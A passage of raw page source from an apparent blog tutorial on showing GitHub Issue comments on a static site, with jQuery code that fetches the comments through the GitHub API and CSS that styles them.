&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cavatarlink&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;user&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;avatar_url&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cdate&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; Date.&lt;span style="color: #a6e22e;"&gt;parse&lt;/span&gt;(&lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;created_at&lt;/span&gt;).&lt;span style="color: #a6e22e;"&gt;toString&lt;/span&gt;(&lt;span style="color: #e6db74;"&gt;"yyyy-MM-dd HH:mm:ss"&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #a6e22e;"&gt;$&lt;/span&gt;(&lt;span style="color: #e6db74;"&gt;"#comments"&lt;/span&gt;).&lt;span style="color: #a6e22e;"&gt;append&lt;/span&gt;(&lt;span style="color: #e6db74;"&gt;"&amp;lt;div class='comment'&amp;gt;&amp;lt;div class='commentheader'&amp;gt;&amp;lt;div class='commentgravatar'&amp;gt;"&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                  &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'&amp;lt;img src="'&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cavatarlink&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'" alt="" width="20" height="20"&amp;gt;'&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                  &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"&amp;lt;/div&amp;gt;&amp;lt;a class='commentuser' href=\""&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cuserlink&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"\"&amp;gt;"&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                  &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cuser&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"&amp;lt;/a&amp;gt;&amp;lt;a class='commentdate' href=\""&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;clink&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                  &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"\"&amp;gt;"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cdate&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class='commentbody'&amp;gt;"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;"&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      &lt;span style="color: #a6e22e;"&gt;$&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;ajax&lt;/span&gt;(&lt;span style="color: #e6db74;"&gt;"https://api.github.com/repos/seanlane/seanlane-comments/issues/{{page.commentIssueId}}/comments"&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;          &lt;span style="color: #a6e22e;"&gt;headers&lt;/span&gt;&lt;span style="color: #f92672;"&gt;:&lt;/span&gt; {&lt;span style="color: #a6e22e;"&gt;Accept&lt;/span&gt;&lt;span style="color: #f92672;"&gt;:&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"application/vnd.github.full+json"&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;          &lt;span style="color: #a6e22e;"&gt;success&lt;/span&gt;&lt;span style="color: #f92672;"&gt;:&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;function&lt;/span&gt;(&lt;span style="color: #a6e22e;"&gt;msg&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #a6e22e;"&gt;loadComments&lt;/span&gt;(&lt;span style="color: #a6e22e;"&gt;msg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;/&lt;span style="color: #f92672;"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{% endif %}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This checks to see if the post has an Issue ID (which will be set in a following step) from which to gather comments, and then populates the bottom of the page with them.&lt;/p&gt;
&lt;p&gt;4. To make the comments a little easier on the eyes, I added some CSS to my templates main CSS file as well:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-css"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;/********************************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;*  COMMENTS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;********************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;transparent&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;border-color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#CACACA&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;border-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;border-width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;block&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;10&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;margin-top&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;10&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;100&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-bottom-color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#CACACA&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-bottom-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-bottom-width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-image&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;-webkit-&lt;/span&gt;linear-gradient(&lt;span style="color: #ae81ff;"&gt;#F8F8F8&lt;/span&gt;,&lt;span style="color: #ae81ff;"&gt;#E1E1E1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-image&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;-moz-&lt;/span&gt;linear-gradient(&lt;span style="color: #ae81ff;"&gt;#F8F8F8&lt;/span&gt;,&lt;span style="color: #ae81ff;"&gt;#E1E1E1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;block&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;float&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;left&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-family&lt;/span&gt;: helvetica, arial, freesans, clean, &lt;span style="color: #66d9ef;"&gt;sans-serif&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-size&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;12&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-variant&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-weight&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;33&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;line-height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;33&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-x&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;hidden&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-y&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;hidden&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-overflow&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;ellipsis&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-shadow&lt;/span&gt;: rgba(&lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;0.699219&lt;/span&gt;) &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;white-space&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;nowrap&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;100&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentgravatar&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-attachment&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;scroll&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-clip&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;border-box&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;white&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-image&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-origin&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;padding-box&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-color&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;#C8C8C8&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;inline-block&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;float&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-family&lt;/span&gt;: helvetica, arial, freesans, clean, &lt;span style="color: #66d9ef;"&gt;sans-serif&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-size&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-style&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-variant&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;font-weight&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;normal&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;20&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;line-height&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-left&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;5&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-right&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;margin-top&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;-2&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-x&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;overflow-y&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;visible&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;padding&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-overflow&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;clip&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-shadow&lt;/span&gt;: rgba(&lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;255&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;0.699219&lt;/span&gt;) &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;vertical-align&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;middle&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;white-space&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;nowrap&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;width&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;20&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; &lt;span style="color: #f92672;"&gt;a&lt;/span&gt;:&lt;span style="color: #a6e22e;"&gt;link&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;text-decoration&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;none&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; &lt;span style="color: #f92672;"&gt;a&lt;/span&gt;:&lt;span style="color: #a6e22e;"&gt;hover&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;border-bottom&lt;/span&gt;:&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;px&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;solid&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;.&lt;span style="color: #a6e22e;"&gt;comment&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentheader&lt;/span&gt; .&lt;span style="color: #a6e22e;"&gt;commentuser&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;background-color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;transparent&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;color&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &lt;span style="color: #66d9ef;"&gt;display&lt;/span&gt;: &lt;span style="color: #66d9ef;"&gt;inline&lt;/span&gt;;
